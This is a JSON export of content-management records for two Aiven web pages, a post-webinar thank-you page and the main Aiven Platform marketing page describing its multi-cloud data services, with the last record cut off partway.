{"__i18n_lang":"en","_createdAt":"2024-08-15T10:31:21Z","_id":"713f0ff7-dbc5-4dbe-b31e-bfbfb6eae64c","_rev":"IfcE7wIV1h1jXbQcf4A04U","_type":"page","_updatedAt":"2024-08-15T11:08:57Z","content":[{"_key":"a0db3f2dd19b","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Thank you for attending","parentPage":{"_type":"link","internalLink":{"_ref":"c940dfb7-c917-432b-8362-ee3ed7a34f72","_type":"reference"},"title":"Build to scale with Aiven!"}},"description":[{"_key":"788c63ed7323","_type":"block","children":[{"_key":"fb1f9f7f1dce0","_type":"span","marks":[],"text":"We hope you enjoyed your time with us! If you have any further questions or are eager to explore how Aiven can assist you in scaling your apps, don't hesitate to reach out!"}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Don't buy the hype: The GenAI power you already have","asset":{"_ref":"image-44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"16b06c52-bdff-4f7c-90f7-f564e1faac21","_type":"reference"},"title":"See pricing"},"roundedCorners":"rounded-none","title":"Thank you for attending our webinar!","titleMultiColor":false,"variant":"default"},{"_key":"ed40323e07de","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"a6e685d9de07","_ref":"6646ab5c-9136-4d83-9a32-fe50393d3d28","_type":"reference"},{"_key":"2c6bef985cb9","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"814b2c0a-94d5-4b79-a17f-1a1d5f54f10a","_type":"reference"},"title":"Learn more"},"image":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"a1956dd50023","_type":"block","children":[{"_key":"7f233dea1cf40","_type":"span","marks":[],"text":"Get the latest updates on features, fixes and improvements."}],"markDefs":[],"style":"normal"}],"tagline":"Chengelog","title":"Product updates","variant":"default"},{"_key":"64444a9ea4f1","_ref":"4a1632e3-6d7d-4a13-968b-c391a7574f99","_type":"reference"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Read more:"}],"internalTags":[{"_key":"83aca2737b6a","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"We hope you enjoyed your time with us!","metaImage":{"_type":"mainImage","alt":"Don't buy the hype: The GenAI power you already have webinar","asset":{"_ref":"image-44bcde99c465de57bc8926fbb7f3abc2b3af9264-1200x630-png","_type":"reference"}},"metaTitle":"Thank you for attending our webinar!"},"slug":{"_type":"slug","current":"/thank-you-for-attending-genai-webinar"},"title":"Thank you for attending our webinar"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_de","_type":"reference"},{"_key":"ja","_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"}],"_createdAt":"2023-05-04T14:20:09Z","_id":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_rev":"aLIIQ7Q5L2eXkJOQZBXcFL","_type":"page","_updatedAt":"2025-01-08T15:10:39Z","content":[{"_key":"0uib1bv6p5puwdez987t9199aj9dm6wx","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"0om66m2wzy7ympcagootp6t2u94gb4q7","_type":"block","children":[{"_key":"x3da7cpzns8lboifq0f4c6dp2z9q646d","_type":"span","marks":[],"text":"Accelerate time-to-market, drive efficiency, and build innovative solutions across any cloud with one unified data and AI platform. "}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"hideHostProviderTitle":true,"imageSize":"large","noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"title":"Aiven Platform","variant":"compact"},{"_key":"c0b9hr89qkeodis0rqgv08oqx5qk43rf","_type":"marketecture","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"items":[{"_key":"io5g9mxaxljy9zbzwd34rbpgeunb5vmq","_type":"accordionItem","id":"unify","panelText":[{"_key":"g6js08iz921esmdeljt6ozwuq6tedk8x","_type":"block","children":[{"_key":"r6g8gmvkjal7ptfkm014d93b29hwq22u","_type":"span","marks":[],"text":"Simplify your cloud data infrastructure with a unified platform."}],"markDefs":[],"style":"normal"},{"_key":"oju0xcipf5vrxy5yy4o9a7hunyftzbuw","_type":"block","children":[{"_key":"3fk6quk10grn6eanrxhcbx0y5s92nk9v","_type":"span","marks":["strong"],"text":"Streamline operations with a single control plane:"},{"_key":"lvwyig90yhjmim1vxyvlv38nz7quczs5","_type":"span","marks":[],"text":" Manage your entire data infrastructure from one place, reduce complexity, and save engineering time."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"o6x8u3bt7r84qmvnt6m2lldc6kc5p6ph","_type":"block","children":[{"_key":"y7enmdmzsbyyyxgqf5oeqolfd158ui2d","_type":"span","marks":["strong"],"text":"Access popular open source services on one or multiple clouds:"},{"_key":"qqe3x6bs9224adr2ztqa5z5poprutkfr","_type":"span","marks":[],"text":" Choose the best data services for your needs and deploy them seamlessly across different cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0silf6dreprnytllocjozcxdnyggnzm4","_type":"block","children":[{"_key":"tszt6dv6o41wurfu62h3d28st1opv8fj","_type":"span","marks":["strong"],"text":"Ensure data security and compliance:"},{"_key":"wz9hnrxng8p83e1ryvkxxqwdgzj92zvr","_type":"span","marks":[],"text":" Centralize governance, security, and observability across all your cloud environments for peace of mind."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Unified platform"},{"_key":"bc9nmayikjibhdmyzty05ihbz1fzwzuc","_type":"accordionItem","id":"categories","panelText":[{"_key":"lvpjule4hif7617um3hsdxr88a8gyutc","_type":"block","children":[{"_key":"i605g96j2pqtqtfx3lf910pivuls69lp","_type":"span","marks":[],"text":"Deploy popular open source services once and use them across any cloud using tools you're already familiar with to "},{"_key":"6294f558f26e","_type":"span","marks":["e5e422e57ab1"],"text":"stream"},{"_key":"b952068e67c3","_type":"span","marks":[],"text":", "},{"_key":"0285ff4f5f34","_type":"span","marks":["d22a3c0378c8"],"text":"store"},{"_key":"71ab2f421555","_type":"span","marks":[],"text":", and "},{"_key":"f36f742a333d","_type":"span","marks":["1106533451d2"],"text":"serve"},{"_key":"7a1961293846","_type":"span","marks":[],"text":" your business critical data."}],"markDefs":[{"_key":"e5e422e57ab1","_type":"internalLink","internalLink":{"_ref":"70d94b51-4183-47e4-bce1-6672b43536ff","_type":"reference"}},{"_key":"d22a3c0378c8","_type":"internalLink","internalLink":{"_ref":"13ecea8b-dacb-4056-af66-283caf0da0c3","_type":"reference"}},{"_key":"1106533451d2","_type":"internalLink","internalLink":{"_ref":"b073a6f0-4688-49f1-84b3-0246415ea9b2","_type":"reference"}}],"style":"normal"},{"_key":"vdgf64k7029jcwa7h6obyzh6wgmw9pfl","_type":"block","children":[{"_key":"pfu7atrult0nsdpqyjd5viduwzhjpe98","_type":"span","marks":["strong"],"text":"Streamline Data Pipelines:"},{"_key":"jbai2np1kdetpzkhf4l4telzcv4ygerk","_type":"span","marks":[],"text":" Easily build complex, integrated pipelines with a few clicks, connecting various data services like Aiven for AlloyDB Omni, Aiven for PostgreSQL®, Apache Kafka®, Apache Flink®, and ClickHouse®."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aggpmmi5x949o72jqn4bfru1c9uotn6g","_type":"block","children":[{"_key":"h58h1pmoj9lf61smsynhvtep4orbma03","_type":"span","marks":["strong"],"text":"Data Retention and Compliance:"},{"_key":"u8k3n2a4sxvgiihil0mmxinswtncuala","_type":"span","marks":[],"text":" Ensure compliance with tiered storage options for Apache Kafka and ClickHouse."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"vpoxwpnayin7vnudmgzke3xnajsezjgc","_type":"block","children":[{"_key":"h4misx2xsovztzwc40kvqb5bo8gzctq4","_type":"span","marks":["strong"],"text":"Open Source Databases on Demand:"},{"_key":"m8jnhfwv1zd6trxckow9fd2nf54q13wg","_type":"span","marks":[],"text":" Access a wide array open source databases, including PostgreSQL®, MySQL®, Valkey®, and Cassandra®."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"mld6133cc1ebyk649zn60j7sbjjxknz9","_type":"block","children":[{"_key":"ekx89g26t51tck90zcvz55uxoto9v3j3","_type":"span","marks":["strong"],"text":"Extensive Integrations:"},{"_key":"ozysye3lye687nbf2j3kj87hx2qwufhn","_type":"span","marks":[],"text":" Seamlessly connect to external data sources and sinks using managed connectors."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Store, Stream, Serve data seamlessly"},{"_key":"xxrs6vm3bbqse4atd9hssl9xawb2612f","_type":"accordionItem","id":"observe","panelText":[{"_key":"dqt2rdw0rdctw09j0ld07g8emn7iasp3","_type":"block","children":[{"_key":"1xej0dsu7yhopha9cpos2s0388khcbym","_type":"span","marks":[],"text":"Gain a holistic view into the performance of your data infrastructure to decrease mean time to resolution for incidents and prevent outages. "}],"markDefs":[],"style":"normal"},{"_key":"f3d4cmo10cncp1pl7e36qtn6ahrq3e6a","_type":"block","children":[{"_key":"oezg5fc3glvcgpc5w8hjji5mvfhrxwee","_type":"span","marks":["strong"],"text":"Streamline Data Collection:"},{"_key":"psbg62zjz7d0gx1tmm9lmwqdl5p84rb0","_type":"span","marks":[],"text":" Easily collect logs and metrics with one click and leverage OpenTelemetry support."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"t41ztx9h6v1lmkraewq5eat6ak32xtsa","_type":"block","children":[{"_key":"mp01z0d9wal3yuafmur1wnfnsdwyppum","_type":"span","marks":["strong"],"text":"Seamless Integrations:"},{"_key":"wclxu1uvmmsqw1c3lcus2dvkgwscaguv","_type":"span","marks":[],"text":" Connect with popular monitoring tools like Datadog and CloudWatch for enhanced insights."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"j13bexr1g3thar3s4vzudhdvyo5wlzlr","_type":"block","children":[{"_key":"ojtz2xr9co1j6whbrrxskpg9sjiv2a7c","_type":"span","marks":["strong"],"text":"Enhance Monitoring Capabilities:"},{"_key":"cqkecq5g0fcoaczps6dupuc4b1iq395g","_type":"span","marks":[],"text":" 24/7 health monitoring, centralize log management, and customizable alerts. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"obt97s5bqxxjor1oybo0gyyj9enyo9ry","_type":"block","children":[{"_key":"05yctwdh1n8w9l4ekap3ko1eo0c09bij","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Observe beyond metrics"},{"_key":"xviz21iwnh69i09qbto01ftkcfi3j18r","_type":"accordionItem","id":"optimize","panelText":[{"_key":"w5ldnubegtn2kh5ftz2qiglms8486uq4","_type":"block","children":[{"_key":"hrenbp31ig7hvzmxdb42cfoto7nb8gxu","_type":"span","marks":[],"text":"Optimize performance, costs, and developer productivity by automating data infrastructure tasks."}],"markDefs":[],"style":"normal"},{"_key":"2gw4p4yakz93sf5kmjyb6pdwvrrt9bjz","_type":"block","children":[{"_key":"7ebkudtw6ijhpkddo2i002xruran4iom","_type":"span","marks":["strong"],"text":"AI-Powered Insights:"},{"_key":"uom8pjvbyhnyq8wri9aynrgbcg2tssua","_type":"span","marks":[],"text":" Gain valuable analysis, database insights, and query suggestions through the AI-driven EverSQL engine."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"uy403u6euzkox4rkvktnws4jbwh8roe8","_type":"block","children":[{"_key":"nvo2h4us0pbspulo41o75oir7g6m38h3","_type":"span","marks":["strong"],"text":"Database Optimization:"},{"_key":"cds8gu54gxncevnuszso122zmaq7pn65","_type":"span","marks":[],"text":" Write high-performing code and quickly identify performance issues with the Aiven AI Database Optimizer."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"jc9dmvhh7cgkc1hd54j03uhgenhnyp09","_type":"block","children":[{"_key":"385mem2dtqfs9sgjp74npfy09cbigq1d","_type":"span","marks":["strong"],"text":"Cloud Flexibility:"},{"_key":"q5hh9jox6qrc5w4ejgpc8b1tr1zyh9do","_type":"span","marks":[],"text":" Deploy Aiven on your preferred cloud platform (AWS, Google, or Azure) and leverage your existing discounts."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Optimize for maximum performance"},{"_key":"yhucg7aqlqwaqfg2nkwb0nj165zlsu5h","_type":"accordionItem","id":"secure-govern","panelText":[{"_key":"wzuuj3cb30bf9brlpvmnzljcp9ed8di6","_type":"block","children":[{"_key":"zentc1y6m5bmslpdpvbq47z6zlka9egv","_type":"span","marks":[],"text":"Centralize your data governance, security, and compliance with a single platform. Protect your data while ensuring regulatory compliance with our end-to-end security measures."}],"markDefs":[],"style":"normal"},{"_key":"iwev8ozeg1pbdbx3a8di2xu0dv0z7i6d","_type":"block","children":[{"_key":"rbrc08u8ioppcshp3y0a1123t2kc3lnq","_type":"span","marks":["strong"],"text":"Robust Compliance:"},{"_key":"ugorj55ibhiwcj4yymr0s0rz9spovl6y","_type":"span","marks":[],"text":" Adhere to security and privacy standards like ISO 27001, SOC2, HIPAA, PCI-DSS, and GDPR."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"an6p667qz8l73ui2gqxv6kjws4j8cpld","_type":"block","children":[{"_key":"w8zuzxm500qrjfnk8tovne552vue8rkx","_type":"span","marks":["strong"],"text":"Secure Connectivity:"},{"_key":"zp9agt6gu47yqcqagtpm6nauuedo7833","_type":"span","marks":[],"text":" Establish secure network connections using VPC peering, PrivateLink, or TransitGateway technologies."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e330kmesqxb9u8sh0nqf56b8els11v6","_type":"block","children":[{"_key":"haj5jqf38ic41vhm1wgke7u7s2gpzsrx","_type":"span","marks":["strong"],"text":"Advanced Security Measures:"},{"_key":"9pb7h5p5ilwypwa9ig02sxrvae2hu9ch","_type":"span","marks":[],"text":" Safeguard your data with encryption, authentication integrations, policy enforcement, and adherence to data protection regulations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Govern data, security, and compliance"},{"_key":"0yqe2chr898giin3t9v7ogy3rnm7arwv","_type":"accordionItem","id":"multi-cloud","panelText":[{"_key":"21frczi902raj9ues4y8doam7wktmxb3","_type":"block","children":[{"_key":"6ubftw4ez5oc2ap7e01fnkzr1wfex7hx","_type":"span","marks":[],"text":"Transform \"multi-cloud\" from simply using various providers to creating comprehensive solutions across providers in a single, cloud-agnostic environment. "}],"markDefs":[],"style":"normal"},{"_key":"aakgf6uuvr49zf4l9d478pczsglbo3c8","_type":"block","children":[{"_key":"j8vnao9erfsz66h73av7mek020qrqqvw","_type":"span","marks":["strong"],"text":"Unified management:"},{"_key":"p1z0sa9r97v4k7ynt2fh4lvvygzuywcz","_type":"span","marks":[],"text":" Simplify operations with a single platform for security, governance, and operations across multiple cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"whv4gndhx8yknvah4mtxmv1wj69jeuon","_type":"block","children":[{"_key":"8x3x8n3i6evg5ieebaxsjko0i7z8pidl","_type":"span","marks":["strong"],"text":"Flexibility and choice:"},{"_key":"a5gfrpqu45a9u6rgtl88jqb28r66vi93","_type":"span","marks":[],"text":" Deploy data services to any of 6 major cloud providers and 100+ regions, allowing for optimal workload placement."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0zim4epsljmj4x1b2e4s8xpzfmc3cjwb","_type":"block","children":[{"_key":"5gd44s3zjkb8j3kw32hr0cot6pn6ooww","_type":"span","marks":["strong"],"text":"Seamless migration:"},{"_key":"jsbguju91s2qoua0mpi937tigozcq8sl","_type":"span","marks":[],"text":" Easily move workloads across clouds to address latency, cost, disaster recovery, or regulatory needs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"yb1qwrm030tghbm8oc6iem0k6mm99jv1","_type":"block","children":[{"_key":"ht8r14h55twhgukkfwiwq4lawbufuxyq","_type":"span","marks":["strong"],"text":"Control costs:"},{"_key":"vjxg327x5c2odkrkrxahidiu940so4n5","_type":"span","marks":[],"text":" Leverage Aiven's Bring Your Own Cloud (BYOC) for greater cost optimization and control over infrastructure."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Multi-cloud solutions"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","topOverlap":false},{"_key":"cgnzin77gybbnoswp5iddvwv5qbov9ge","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","id":"why","items":[{"_key":"onab4u4p1wlplkiqf0v39ld54761x50f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1bad2cbbcacb","_type":"block","children":[{"_key":"3837629310ae0","_type":"span","marks":[],"text":"Centralize the operation of data services, infrastructure provisioning, and security across multiple clouds to "},{"_key":"8e186776d8f1","_type":"span","marks":["strong"],"text":"optimize performance and costs"},{"_key":"1e4a626780c3","_type":"span","marks":[],"text":". Simplify data management with a common control plane and data model to accelerate development."}],"markDefs":[],"style":"normal"}],"title":"Deploy on any cloud","variant":"icon-card"},{"_key":"ishgx6896men65oh0wnq1ltin3rox1wu","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d9h6k4711rk5le0dnf8g8ppxuh8qv5ii","_type":"block","children":[{"_key":"sekdyjdejewpoukqb9q37c30ft2o0v0a","_type":"span","marks":[],"text":"Enjoy the freedom of keeping your options open and achieve true data flexibility with open source across all major clouds. Optimize cost and performance while unlocking access to a wider pool of talent with Aiven's open source services."}],"markDefs":[],"style":"normal"}],"title":"Open choice","variant":"icon-card"},{"_key":"dqm15pwl3gpowt5xwa0pce7r8oplw37e","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"q55ohgsz7nuplyxcr9lhikfrl2fepph9","_type":"block","children":[{"_key":"2t0rcda5hpiakpv3p36532me7wx7iclw","_type":"span","marks":[],"text":"Accelerate growth by enabling developers to focus on new initiatives while we manage your infrastructure. Speed up coding, optimize workloads, reduce issue resolution time, and increase uptime by leveraging Aiven's AI-driven insights."}],"markDefs":[],"style":"normal"}],"title":"Unleash developer innovation","variant":"icon-card"},{"_key":"tcma7sj8kui0oxz9lqpxtrcw3276a3b2","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"image":{"_type":"mainImage","asset":{"_ref":"image-64f09a8dbfb6760d01fa2bde6a9a105d9de6fc59-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"64tlcedi9rqguzmy03h0k3p08llmjspc","_type":"block","children":[{"_key":"8lxx7fkdiyadqkl1a0a7ia9z3k26olgq","_type":"span","marks":[],"text":"Increase business continuity with"},{"_key":"lyqj8yja3we8wt0ddzr1k9xdi2rjje87","_type":"span","marks":["strong"],"text":" cross-cloud and cross-region disaster recovery "},{"_key":"4kvfsi3zuft64too11ejo2zdxdr8ap15","_type":"span","marks":[],"text":"with near-zero downtime during scaling, upgrading and other management operations. High availability with 99.99% monthly uptime SLA, and automatic backups."}],"markDefs":[],"style":"normal"}],"title":"Resiliency","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"2e4a5a107083","_type":"block","children":[{"_key":"b474d25d37bd0","_type":"span","marks":[],"text":"Optimize engineering time and costs with our data and AI platform, which delivers high availability, expert support, and centralized security and governance to meet the demands of your business."}],"markDefs":[],"style":"normal"},{"_key":"r53bq5zjcu07aecbkcq70wusd5b8x8hv","_type":"block","children":[{"_key":"2p1zffutb7r98hqy7xtc5uabhfa8vk5g","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"tagline":"Why Aiven","title":"Simplify cloud data infrastructure and mitigate risk","topOverlap":false},{"_key":"2ih3ai7zobue58mb329jut7odk0b1osw","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"grayscale":false,"hideItemLink":true,"logos":[{"_key":"t2hpaqfxyjvsgawn61nw82rzwoew5ia3","_ref":"77cGJ1NZ9Y7b4XMtjpJjas","_type":"reference"},{"_key":"idvs2gu01ozdugbnmjp8dcn5plf0tsow","_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},{"_key":"n9yv55atolk5va8jbr7yva1rty41hga8","_ref":"17IOucz0A2afQRoggZvU06","_type":"reference"},{"_key":"1xruwnhywlib5xqh1cicnx6wbyotrenl","_ref":"689cb493-1e77-4232-b6ee-f9bef6a83582","_type":"reference"},{"_key":"81e294d73fbcbe3b7088ac42bc3ab821","_ref":"6079f1b6-5fbf-4777-97d0-1621dc783637","_type":"reference"},{"_key":"h19tnhuo8eejwy9u80fbj1rts2qxpcnx","_ref":"3A6EbsdpVkSiacDkiNvUT5","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-br","tagline":"Trusted by industry leaders worldwide","variant":"logo"},{"_key":"3gui4ptsdx7gvxa9fhg7nh09kfn92ogi","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"id":"benefit","items":[{"_key":"rrg5d8brdc45le3azjpxj9t66obiv6mf","_type":"tabItem","content":[{"_key":"xtpssff0scd06iyo6woulor9e1ynpw5i","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-635a884182537257d97ac7d13e3e0ed89d3de4b1-1600x1226-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"9vkku6j4xhrhfyid8ahficlvqzqjg9ce","_type":"block","children":[{"_key":"9damrokojrorsc4tl56xxan1x3s9mecy","_type":"span","marks":[],"text":"Multi-cloud solutions"}],"markDefs":[],"style":"h4"},{"_key":"uxjcx6t8xo2gww9us3klzeb23xbmyytm","_type":"block","children":[{"_key":"idfbjgi5gsecysg7vcjvue18f1stlozj","_type":"span","marks":[],"text":"Aiven's capability to deploy to any cloud empowers your organization with:"}],"markDefs":[],"style":"normal"},{"_key":"tfvy5rj6nb4fu0k1pl13naxvp0tbeb53","_type":"block","children":[{"_key":"4jwycrr4npxo3jpgxv6o6pwzu6j3kbzp","_type":"span","marks":["strong"],"text":"Workload and Cost Optimization:"},{"_key":"81tqi1wepgt02ep3rr7j6i2y6o9jscuk","_type":"span","marks":[],"text":" Choose the ideal cloud provider for each task to maximize performance and cost-efficiency. Benefit from competitive pricing across different cloud providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"wt9tedb27sjxdmbcne9td8g41e4up4xu","_type":"block","children":[{"_key":"id8tcxv5c0gs5t6jktp9cagv0hqgpdc8","_type":"span","marks":["strong"],"text":"Risk Mitigation:"},{"_key":"ydrcul1ycbe9wxphr6dvx4x325uc6ol6","_type":"span","marks":[],"text":" Distribute data and applications across regions and providers for enhanced business continuity."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"iuowrq6ruxl7a1gl8lzkg6h10ozxmmk2","_type":"block","children":[{"_key":"7ie3xbj3l97j4sxf4rodptn2gd3teql5","_type":"span","marks":["strong"],"text":"Streamlined Operations:"},{"_key":"gwmaj86v8wawov4kcf2c2ap1h5lwivq0","_type":"span","marks":[],"text":" Manage your data infrastructure on a centralized platform across multiple clouds to reduce complexity and ensure compliance with data residency regulations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"},{"_key":"348dkhywzlyi9i7opvsj6iywcsvbwujd","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"0t203tqktn7wsw2xy2l3l77zlzblyy73","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fcuauz8ybltdbne9dp5kinqh0569u91h","_type":"block","children":[{"_key":"3ifpgntkf5pqdxk5vig2v5onli9pl4rr","_type":"span","marks":[],"text":"Deploy on your preferred cloud providers (AWS, Google Cloud, Microsoft Azure, etc.)."}],"markDefs":[],"style":"normal"}],"title":"Flexibility and Choice"},{"_key":"uj0gtoiy2iw6ql4rb4tpncpx87rz3uwn","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9urc5ing5ps9z4yoc4grlisozbnxr18t","_type":"block","children":[{"_key":"56kzu03kbciw9gjnrklhkvmcqm9v7lpr","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Performance Optimization"},{"_key":"l7lrvrxfelqcc06wtan2eun7c5dfjdxs","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"p3aeizielhqohabkdbeawpl8l8471u9s","_type":"block","children":[{"_key":"de2vwhegg93wi1wmhqnal893bhptbcub","_type":"span","marks":[],"text":"Leverage each cloud's strengths for specific workloads."}],"markDefs":[],"style":"normal"}],"title":"Compliance"},{"_key":"lhal75t3ms5enytqgp2r0kg37gpss597","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"cfge9arlu0cdk3b5gkq2gvpaxmq6ycj3","_type":"block","children":[{"_key":"h88kp7629ks1p2wgjzoacaamhgm5pthb","_type":"span","marks":[],"text":"Benefit from competitive pricing across different cloud providers."}],"markDefs":[],"style":"normal"}],"title":"Cost Optimization"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false}],"id":"cloud-deployment","imageHeight":35,"title":"Deploy on any cloud"},{"_key":"x990exmzsg2c65u1i8ujko3sjey29dxj","_type":"tabItem","content":[{"_key":"az3lapoj9iyitgxdyfy2mz3gmgd6ayb3","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center 